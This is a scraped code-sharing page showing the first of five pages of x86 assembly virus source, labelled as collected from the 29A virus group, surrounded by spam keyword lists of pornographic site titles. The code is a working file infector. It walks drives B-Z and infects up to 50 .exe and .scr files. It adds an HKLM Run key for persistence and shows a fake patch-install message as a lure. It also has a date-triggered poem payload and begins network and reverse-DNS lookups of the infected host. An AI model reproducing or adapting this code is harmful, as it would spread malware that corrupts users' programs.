亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.013

?? 從29A上收集的病毒源碼
?? 013
?? 第 1 頁 / 共 5 頁
字號:
    mov     esi, [esi+16]
    add     esi, eax
    rep     lodsd

    ; create the string "kernel32.dll" on the stack
    push    0
    push    dword ptr 'lld.'
    push    dword ptr '23le'
    push    dword ptr 'nrek'
      
    ; call GetModuleHandleA to retrieve the address of the kernel32.dll
    push    esp
    call    eax
                  
    mov     [ebp+lpKernel32], eax                  ; save the kernel32 address 

    ; get the address of the GetProcAddress API function
    mov     ebx, [eax+3ch]        
    add     ebx, eax
    mov     ebx, [ebx+120]                         ; get the export table VA                         
    add     ebx, eax
    mov     esi, [ebx+28]                          ; get the VA of the address table
    add     esi, eax
    mov     edi, [ebx+32]                          ; get the VA of the name table
    add     edi, eax
    mov     ecx, [ebx+36]                          ; get the VA of the ordinal table                           
    add     ecx, eax       
findGetProcAddress:        
    add     ecx, 2                                 ; next ordinal
    add     edi, 4                                 ; next name
    mov     edx, [edi]    
    add     edx, eax 
    cmp     dword ptr [edx], 'PteG'
    jne     findGetProcAddress
    cmp     dword ptr [edx+4], 'Acor'              ; GetProcAddress?
    jne     findGetProcAddress
    mov     cx, [ecx]
    and     ecx, 0FFFFh
    add     ecx, [ebx+16]                          ; add ordinal base
    rep     lodsd                                  ; get the VA address corrasponding to the ordinal 
    add     eax, [ebp+lpKernel32]
    mov     [ebp+GetProcAddress], eax

    ; get the address of the LoadLibraryA API function
    pushptr szLoadLibraryA
    pushval lpKernel32     
    ApiCall GetProcAddress
    mov     [ebp+LoadLibraryA], eax

    ; load the Windows 9x API functions
    lea     eax, [ebp+API_Imports_9x]
    call    LoadImports  
    cmp     eax, -1
    je      apiLoadError

    ; create a thread to execute the rest of the code
    pushptr hThread
    push    0
    push    ebp                                    ; pass the delta pointer to the thread 
    pushptr background
    push    0
    push    0
    ApiCall CreateThread

    ; if /iKX is present in the command line then loop until the thread closes
    ApiCall GetCommandLineA
    mov     ecx, 256
parseCommandLine:
    cmp     dword ptr [eax], 'XKi/'
    je      wait
    inc     eax
    loop    parseCommandLine

    ; if this is not the first generation then return control to the host
    cmp      ebp, 0
    jne      returnHostControl    

    ; if this is the first generation then loop until the thread closes
wait:
    cmp     [ebp+dwThreadStatus], EXIT_THREAD
    jne     wait
    push    0
    ApiCall ExitProcess

    ; return control to the host
returnHostControl:
    mov     eax, [ebp+lpReturnAddress]
    add     eax, [ebp+lpImageBase]
    push    eax
    ret

    ; if an api function cannot be loaded then either return control to the host or exit program
apiLoadError:
    cmp     ebp, 0
    jne     returnHostControl
    push    0
    ApiCall ExitProcess    

;-------------------------------------------------------------------------------------------------;
; Background Thread.                                                                              ;
;-------------------------------------------------------------------------------------------------;

background:

    mov     ebp, [esp+4]                           ; restore the delta offset      

;-------------------------------------------------------------------------------------------------;
; Infect 50 files in drives B-Z, except the CD-ROM drive.                                         ;
;-------------------------------------------------------------------------------------------------;

    xor     esi, esi                               ; files infected counter
    mov     byte ptr [ebp+szDrive], 'A'            ; set the drive to start searching at
nextDrive:
    inc     byte ptr [ebp+szDrive]                 ; next drive
    cmp     byte ptr [ebp+szDrive], 'Z'+1          ; all drives searched?
    je      payload
    pushptr szDrive
    ApiCall GetDriveTypeA 
    cmp     eax, DRIVE_CDROM                       ; CD-ROM drive?
    je      nextDrive
    pushptr szDrive
    ApiCall SetCurrentDirectoryA                   ; set the current directory to the root of that drive
    cmp     eax, 0
    je      nextDrive    
    
findFiles:
    mov     edi, esp                               ; save the stack pointer
    push    0BAADF00Dh                             ; end of files marker
findFirstFile:
    pushptr win32FindData
    pushptr szSearchString
    ApiCall FindFirstFileA                         ; find the first file
    mov     [ebp+hFind], eax    
checkType:
    cmp     eax, 0
    je      downDirectory
    cmp     byte ptr [ebp+win32FindData.FullFileName], '.'
    je      findNextFile
    cmp     [ebp+win32FindData.FileAttributes], 10h
    je      upDirectory
    cmp     [ebp+win32FindData.FileAttributes], 30h
    je      upDirectory

    ; check the file extension for .exe or .scr
    push    edi
    mov     al, '.'
    mov     ecx, 260
    lea     edi, [ebp+win32FindData.FullFileName]
    repne   scasb                                  ; seek to the file extension
    mov     eax, [edi-1]
    pop     edi
    and     eax, 0DFDFDFFFh                        ; make upper case
    cmp     eax, 'EXE.'                            ; executable file?
    je      infectFile  
    cmp     eax, 'RCS.'                            ; screen saver?
    je      infectFile
    jmp     findNextFile    

infectFile: 

    ; check to see if the file is a valid PE executable and is not already infected
    push    esi
    push    edi
    lea     esi, [ebp+win32FindData.FullFileName]
    call    IsValid
    pop     edi
    pop     esi
    cmp     eax, -1
    je      findNextFile

    ; if the executable file is in the system directory then dont infect it
    push    256
    pushptr szSystemDirectory
    ApiCall GetSystemDirectoryA
    pushptr szSystemDirectory
    ApiCall CharUpperA
    pushptr szCurrentDirectory
    push    256
    ApiCall GetCurrentDirectoryA
    pushptr szCurrentDirectory
    ApiCall CharUpperA
    pushptr szSystemDirectory
    pushptr szCurrentDirectory
    ApiCall lstrcmpA
    cmp     eax, 0
    je      findNextFile

    ; infect the file
    push    esi
    lea     esi, [ebp+win32FindData.FullFileName]
    call    AttachCode
    pop     esi
    cmp     eax, -1
    je      findNextFile 
    
    ; increment the file infection counter
    inc     esi
    cmp     esi, 50                                ; infect 50 files
    jne     findNextFile

    ; if 50 files have been infected stop searching 
    mov     esp, edi
    jmp     searchComplete

findNextFile:
    pushptr win32FindData
    pushval hFind
    ApiCall FindNextFileA                          ; find the next file    
    jmp     checkType

upDirectory:   
    pushptr win32FindData.FullFileName
    ApiCall SetCurrentDirectoryA
    cmp     eax, 0
    je      findNextFile
    pushval hFind                                  ; save the find handle
    jmp     findFirstFile    

downDirectory:
    pushptr szBackDir
    ApiCall SetCurrentDirectoryA
    pushval hFind
    ApiCall FindClose                              ; close the find handle
    pop     [ebp+hFind]                            ; restore the previous find handle
    cmp     [ebp+hFind], 0BAADF00Dh                ; no more files left to find?
    jne     findNextFile        
    mov     esp, edi                               ; restore the stack pointer
    jmp     nextDrive                              ; find another drive to infect
searchComplete:

;-------------------------------------------------------------------------------------------------;
; Make it so the last infected file runs on start-up.                                             ;
;-------------------------------------------------------------------------------------------------;

    ; copy the current path to a buffer
    pushptr szCurrentDirectory
    pushptr szModuleName
    ApiCall lstrcpyA

    ; append a slash
    pushptr szSlash
    pushptr szModuleName
    ApiCall lstrcatA   

    ; append the executable file name
    pushptr win32FindData.FullFileName
    pushptr szModuleName
    ApiCall lstrcatA

    ; concat the commandline parameter /iKX to the key value
    pushptr szIkxParameter
    pushptr szModuleName
    ApiCall lstrcatA

    ; open "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
    pushptr hKey                           
    pushptr szSubKey                        
    push    HKEY_LOCAL_MACHINE               
    ApiCall RegOpenKeyA
    cmp     eax, 0
    jne     exitThread

    ; get the length of the module name
    pushptr szModuleName
    ApiCall lstrlenA

    ; set the start-up program
    push    eax                                
    pushptr szModuleName
    push    REG_SZ                     
    push    0                            
    pushptr szValueName                 
    pushval hKey                        
    ApiCall RegSetValueExA             
              
    ; close the key
    pushval hKey
    ApiCall RegCloseKey

;-------------------------------------------------------------------------------------------------;
; Display the patch install message if the module name is "patch110.exe"                          ;
;-------------------------------------------------------------------------------------------------;

    ; get the path and name of this program
    push    256
    pushptr szModuleName
    push    0
    ApiCall GetModuleFileNameA    

    ; seek to a dot
    lea     edi, [ebp+szModuleName]
    mov     al, '.'
    mov     ecx, 256
    repne   scasb  
    
    ; seek backwards to a slash
    std
    mov     al, '\'
    repne   scasb
    cld
    add     edi, 2

    ; compair the filename to "patch110.exe"
    mov     ecx, 12
    lea     esi, [ebp+szPatchName] 
    rep     cmpsb
    cmp     ecx, 0
    jne     payload  

    ; display the patch install message
    push    0
    pushptr szPatchTitle
    pushptr szPatchInstall
    push    0
    ApiCall MessageBoxA

;-------------------------------------------------------------------------------------------------;
; Display a poem by John Keats on the day of his death.                                           ;
;-------------------------------------------------------------------------------------------------;

payload:

    ; get today's date
    pushptr date
    ApiCall GetSystemTime 

    ; Feb 23?
    cmp     [ebp+date.wMonth], 2
    jne     loadImports     
    cmp     word ptr [ebp+date.wDay], 24
    jne     loadImports

    ; display poem
    push    0
    pushptr szTitle
    pushptr szElginMarbles
    push    0
    ApiCall MessageBoxA

;-------------------------------------------------------------------------------------------------;
; Load the Windows 2k Imports.                                                                    ;
;-------------------------------------------------------------------------------------------------;

loadImports:

    ; Windows 2k+ OS?
    ApiCall GetVersion
    cmp     al, 5
    jl      exitThread

    ; load the Windows 2k API functions
    lea     eax, [ebp+API_Imports_2k]
    call    LoadImports
    cmp     eax, -1
    je      exitThread

    ; internet connection?
    push    0
    pushptr dwConnectionState
    ApiCall InternetGetConnectedState
    cmp     eax, FALSE
    je      exitThread

;-------------------------------------------------------------------------------------------------;
; Get the IP address of this computer.                                                            ;
;-------------------------------------------------------------------------------------------------;

    ; initialize winsock
    pushptr wsaData
    push    0101h
    ApiCall WSAStartup
    cmp     eax, 0
    jne     exitThread

    ; get the local host name of this computer
    push    132
    pushptr szHostName
    ApiCall gethostname
    cmp     eax, 0
    jne     exitThread

    ; clear the reverse IP buffer
    push    29
    pushptr szReverseIP
    ApiCall RtlZeroMemory

    ; get the IP address of the local host
    pushptr szHostName
    ApiCall gethostbyname
    cmp     eax, 0
    je      exitThread
    mov     eax, [eax+12]
    mov     eax, [eax]
    mov     eax, [eax]

;-------------------------------------------------------------------------------------------------;
; Get the host name of this computer.                                                             ;
;-------------------------------------------------------------------------------------------------;

getHostName:

    bswap   eax                                    ; reverse the byte order of the IP
        
    ; convert the IP address to a string
    push    eax
    ApiCall inet_ntoa

    ; copy the reverse IP string to the buffer
    push    eax
    pushptr szReverseIP
    ApiCall lstrcpyA

    ; concat the .in-addr.arpa string
    pushptr szArpa
    pushptr szReverseIP
    ApiCall lstrcatA

    ; query a DNS server for the host name of this computer
    push    0
    pushptr lpResults
    push    0
    push    DNS_QUERY_STANDARD
    push    DNS_TYPE_PTR
    pushptr szReverseIP
    ApiCall DnsQuery_A
    cmp     eax, 0
    jne     exitThread
    
    ; was an answer record found?
    push    size DNS_RECORD
    pushval lpResults
    pushptr dnsRecordHeader
    ApiCall RtlMoveMemory
    mov     eax, [ebp+dnsRecordHeader.flags]
    and     al, 00000011b
    cmp     al, DNSREC_ANSWER
    jne     exitThread

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品国产a级| 亚洲一区二区精品久久av| 美国毛片一区二区三区| 欧美色图激情小说| 一区二区三区四区视频精品免费| 粉嫩久久99精品久久久久久夜| www精品美女久久久tv| 蜜臀久久久99精品久久久久久| 欧美高清视频www夜色资源网| 亚洲丶国产丶欧美一区二区三区| 欧美一a一片一级一片| 一区二区三区国产| 欧美色视频在线| 污片在线观看一区二区| 欧美福利视频一区| 日本欧洲一区二区| 欧美mv和日韩mv国产网站| 国模无码大尺度一区二区三区 | 国产成人综合亚洲网站| 久久蜜臀精品av| 成人午夜激情影院| 国产精品盗摄一区二区三区| 色综合色综合色综合色综合色综合 | 国产精品欧美一级免费| 不卡一区二区在线| 亚洲日本va在线观看| 91成人免费网站| 午夜电影一区二区| 欧美va在线播放| 国产精品一区二区在线播放| 中文字幕av一区二区三区免费看| www.亚洲免费av| 亚洲自拍偷拍欧美| 91精品国产综合久久香蕉麻豆 | 国产一区二区三区久久久| 国产亚洲成年网址在线观看| 成人精品gif动图一区| 亚洲人成网站在线| 欧美日本在线观看| 精品一区二区av| 国产精品久久久久一区| 色999日韩国产欧美一区二区| 肉色丝袜一区二区| 久久美女艺术照精彩视频福利播放| 丰满亚洲少妇av| 亚洲一区二区在线播放相泽| 日韩欧美激情在线| 成人h动漫精品一区二区| 亚洲无人区一区| 日韩欧美一级片| 成人免费高清在线| 亚洲成人免费av| www国产精品av| 色婷婷综合久久| 久久精品国产免费看久久精品| 亚洲国产精品精华液ab| 欧美性三三影院| 国产精品一区久久久久| 亚洲一区在线电影| 久久久国产精品午夜一区ai换脸| 91麻豆.com| 久久不见久久见免费视频7 | 国产日产欧美一区| 欧美日精品一区视频| 国产精品自拍在线| 亚洲风情在线资源站| 国产午夜精品在线观看| 欧美日韩成人激情| 丁香五精品蜜臀久久久久99网站 | 亚洲丝袜美腿综合| 日韩女优制服丝袜电影| 91在线国产福利| 精品一区二区免费看| 夜夜嗨av一区二区三区中文字幕| 精品国产一区二区三区忘忧草| 91视视频在线观看入口直接观看www | 韩国成人福利片在线播放| 亚洲欧美精品午睡沙发| www国产亚洲精品久久麻豆| 欧美性一区二区| 国产成人在线色| 奇米亚洲午夜久久精品| 亚洲人吸女人奶水| 久久久不卡网国产精品二区| 欧美精品丝袜中出| 91在线看国产| 国产高清久久久| 日韩av中文字幕一区二区| 亚洲色图欧美偷拍| 久久精品一区四区| 欧美一区二区美女| 在线观看日产精品| 成人av片在线观看| 国产一区二区91| 日本v片在线高清不卡在线观看| 亚洲美腿欧美偷拍| 国产欧美日产一区| 精品国产乱码久久久久久蜜臀| 欧美日韩精品是欧美日韩精品| 99精品偷自拍| 国产69精品久久777的优势| 麻豆一区二区三区| 丝袜脚交一区二区| 亚洲五月六月丁香激情| 亚洲色图在线看| 国产精品视频免费看| 久久免费视频一区| 欧美电视剧免费观看| 3d成人h动漫网站入口| 欧美亚洲动漫另类| 91久久香蕉国产日韩欧美9色| 成人h动漫精品一区二区| 国产剧情一区二区| 久久99久久99小草精品免视看| 日韩激情在线观看| 五月天激情综合| 午夜不卡av免费| 亚洲国产裸拍裸体视频在线观看乱了 | 亚洲欧洲精品一区二区三区| 国产日韩精品久久久| 久久久噜噜噜久噜久久综合| 欧美电影免费观看完整版| 日韩视频免费直播| 欧美一级爆毛片| 日韩欧美精品在线视频| 日韩精品专区在线影院观看| 欧美一级夜夜爽| 欧美电影免费观看高清完整版在线| 欧美一区二区在线观看| 91精品欧美久久久久久动漫 | 中文字幕成人av| 国产精品色婷婷久久58| 国产精品拍天天在线| 国产精品欧美精品| 亚洲天堂中文字幕| 亚洲乱码日产精品bd| 夜夜嗨av一区二区三区网页| 亚洲一区二区三区在线播放| 亚洲午夜免费视频| 三级在线观看一区二区| 麻豆精品视频在线观看免费| 久久精品国产第一区二区三区| 九九视频精品免费| 国产一区二区福利视频| 成人免费视频视频| 91视频.com| 欧美巨大另类极品videosbest | 亚洲天堂久久久久久久| 亚洲激情综合网| 亚洲第一福利视频在线| 午夜精品久久久久久久久久久 | 久久精品理论片| 国产精品18久久久久久久久| 成人开心网精品视频| 色综合天天在线| 欧美日韩二区三区| 日韩精品在线看片z| 国产喷白浆一区二区三区| 中文字幕一区不卡| 香蕉av福利精品导航| 久久精品国产免费看久久精品| 国产精品91xxx| 99久久99久久综合| 欧美另类变人与禽xxxxx| 日韩免费一区二区| 国产精品免费丝袜| 亚洲一区中文日韩| 捆绑调教美女网站视频一区| 高清久久久久久| 在线观看日韩一区| 欧美mv日韩mv亚洲| 亚洲欧美色图小说| 日本欧美在线看| jizzjizzjizz欧美| 欧美酷刑日本凌虐凌虐| 国产午夜精品在线观看| 一区二区日韩av| 久久99精品久久久久久国产越南| 成人av影视在线观看| 4438x亚洲最大成人网| 国产精品丝袜久久久久久app| 亚洲午夜视频在线| 国产精品性做久久久久久| 在线这里只有精品| 日韩欧美国产三级电影视频| 成人欧美一区二区三区白人| 日韩成人一区二区| av午夜精品一区二区三区| 91精品国产综合久久久蜜臀图片 | 中文字幕五月欧美| 蜜桃久久av一区| 91老师片黄在线观看| 精品毛片乱码1区2区3区| 亚洲精品ww久久久久久p站 | 舔着乳尖日韩一区| 成人免费视频国产在线观看| 在线播放国产精品二区一二区四区| 国产人妖乱国产精品人妖| 午夜精品久久久久久久99水蜜桃 | 久久久天堂av|